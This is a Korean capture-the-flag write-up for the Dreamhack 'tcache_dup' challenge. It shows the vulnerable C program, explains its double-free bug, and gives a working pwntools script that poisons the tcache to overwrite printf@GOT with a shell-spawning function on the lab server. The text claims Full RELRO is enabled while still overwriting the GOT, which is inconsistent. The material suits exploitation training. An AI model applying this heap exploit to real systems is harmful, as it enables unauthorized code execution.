문제

문제에서 주어진 코드이다.
// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if(cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if(!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while(1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
취약점 탐색
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 IO_2_1_stdin과 IO_2_1_stdout을 가리킨다.
따라서 이 중 한 변수의 값을 읽으면, 그 값을 이용하여 libc의 주소를 계산할 수 있다.
이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다.
Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것이다.
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx > 10) {
return -1;
}
free(ptr[idx]);
}
ptr[idx]를 해제하고 나서 ptr[idx]포인터를 초기화하지 않으므로 이를 다시 해제하는 것이 가능하다.
즉, Double Free 취약점이 존재한다.
익스플로잇 코드
일단 checksec로 정보를 파악하자.

먼저, 코드를 컴파일하고 checksec으로 보호 기법을 파악했다.
NX와 FULL RELRO 보호 기법이 적용된 것을 확인할 수 있다.
이런 경우, 훅을 덮는 공격을 고려해볼 수 있다.
from pwn import *
#context.log_level = 'debug'
p = remote("host1.dreamhack.games", 12534)
elf = ELF("./tcache_dup")
get_shell = elf.symbols["get_shell"]
got_printf = elf.got["printf"]
def create(size, data):
p.sendlineafter(">", "1")
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Data: ", str(data))
def delete(idx):
p.sendlineafter(">", "2")
p.sendlineafter("idx: ", str(idx))
create(0x10, "A"*0x10)
delete(0)
delete(0)
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(got_printf))
create(0x10, "A"*0x10)
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))
p.interactive()
작성한 익스플로잇 코드이다.
create(0x10, "A"*0x10)
delete(0)
delete(0)
delete(0)을 2번 해서 Double free bug가 발생하도록 한다.
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(got_printf))
tcache_entry에 size가 16이고 data는 printf@got의 주소를 재할당해준다.
원래는 create(0x8, p64(got_printf))로 할당했는데 에러가 발생해서 이렇게 바꿨다.
create(0x10, "A"*0x10)
아직 tcache_entry에는 첫 번째 청크의 주소가 저장되어 있기 때문에 재할당해준다.
p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))
got_overwrite를 위해 데이터에 get_shell 함수의 주소를 보낸다.

무사히 해결했다.